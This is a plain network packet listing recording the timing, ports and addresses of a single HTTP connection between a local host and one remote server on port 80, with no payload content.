Oct 29, 2021 17:56:06.731328964 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731353998 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731358051 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731359959 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731388092 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731470108 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731470108 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731497049 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731528044 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731631041 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731658936 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731686115 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731713057 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731730938 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731739044 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731740952 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731769085 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731796026 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731818914 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731823921 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731849909 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731852055 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731878042 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731901884 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.731941938 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731970072 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.731996059 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.732007027 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.732090950 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.732166052 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.732223988 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.732300997 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.732337952 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.732460976 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.732549906 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.827646971 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.827718973 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.827769995 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.827795982 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.827872992 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.827925920 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.828015089 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828054905 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828108072 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.828136921 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828259945 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828330994 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.828355074 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828531981 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828600883 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.828665018 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828702927 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828742027 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828758955 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.828799009 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828835964 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828855991 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.828922033 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828960896 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.828977108 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.828999996 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829036951 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829061985 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.829072952 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829108953 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829144955 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.829148054 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829230070 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.829236984 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829274893 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829328060 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.829360008 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829404116 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829456091 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.829456091 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829565048 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829612017 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829637051 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.829662085 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829704046 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829716921 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.829741001 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829787016 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829793930 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.829830885 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829865932 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829876900 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.829902887 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829937935 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.829947948 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.829972982 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830009937 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830019951 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.830045938 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830081940 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830095053 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.830120087 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830153942 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830164909 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.830204964 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830240965 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830250978 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.830276966 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830311060 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830322981 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.830378056 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830425024 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.830482006 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830667019 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830718994 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.830729008 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830862045 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.830926895 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.830980062 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.831103086 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.831151962 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.831197023 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.831430912 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.831468105 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.831486940 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.831532955 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.831583977 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.831759930 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.831849098 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.831902027 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.831960917 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.832091093 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.832142115 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.832250118 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.832346916 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.832402945 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.832478046 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.832623005 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.832659960 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.832675934 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.832696915 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.832741976 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.832911968 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.833010912 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.833065033 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.833139896 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.833239079 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.833287001 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.833384991 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.833477020 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.833528042 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.833659887 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.833739996 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.833789110 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.833863020 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.833899021 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.833945990 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.834022045 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.834300041 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.834338903 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.834363937 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.834377050 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.834428072 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.834506989 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.834649086 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.834686041 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.834698915 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.834821939 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.834877014 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.834975958 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.835011959 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.835063934 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.835114956 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.835253954 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.835305929 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.835381031 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.835501909 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.835562944 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.835643053 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.835756063 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.835813999 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.835891008 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.836009026 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.836066008 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.925158978 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.925389051 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.925452948 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.925717115 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.925868034 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.925920010 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.926001072 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926018953 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926086903 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.926106930 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926234961 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926253080 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926285028 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.926361084 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926403999 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.926466942 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926501036 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926539898 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.926626921 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926770926 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926789045 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926822901 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.926924944 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926943064 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926959991 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926970959 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.926978111 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.926995039 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927025080 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.927057981 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.927098989 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927119017 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927175045 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.927190065 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927221060 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927263021 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927278042 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.927443981 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927467108 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927485943 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927494049 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.927504063 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927520990 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927553892 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.927577972 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927596092 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927607059 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.927686930 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.927726984 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927746058 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927763939 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927803040 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.927855015 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927871943 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927897930 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.927901983 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927942038 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.927942038 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.928003073 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928021908 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928054094 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.928065062 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928081036 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928097963 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928105116 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.928143024 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928145885 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.928266048 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928319931 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.928342104 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928474903 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928530931 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.928627968 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928726912 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928771019 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.928782940 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928877115 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.928926945 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.928986073 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.929109097 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.929155111 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.929224014 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.929343939 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.929390907 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.929470062 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.929591894 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.929637909 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.929725885 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.929949045 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.929996014 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.930108070 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.930197001 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.930243969 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.930370092 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.930427074 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.930473089 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.930634975 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.930752039 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.930866003 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.930875063 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.930948973 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.930965900 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.930991888 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.931118011 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.931164980 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.931216955 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.931366920 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.931408882 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.931535959 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.931591988 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.931641102 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.931704998 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.931865931 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.931885958 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.931922913 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.931993961 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.932060003 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.932118893 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.932235003 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.932302952 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.932365894 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.932475090 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.932521105 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.932600021 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.932710886 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.932760000 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.932902098 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.932949066 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.932993889 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.933073044 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.933228970 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.933279991 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.933362007 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.933468103 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.933521986 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.933594942 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.933634996 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.933676004 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.933758974 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.933864117 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.933912039 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.933979988 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.934106112 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.934155941 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.934232950 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.934346914 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.934407949 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.934470892 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.934570074 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.934587955 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.934617043 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.934758902 CEST	80	49857	5.163.179.4	192.168.2.6
Oct 29, 2021 17:56:06.934813976 CEST	49857	80	192.168.2.6	5.163.179.4
Oct 29, 2021 17:56:06.934875011 CEST	80	49857	5.163.179.4	192.168.2.6
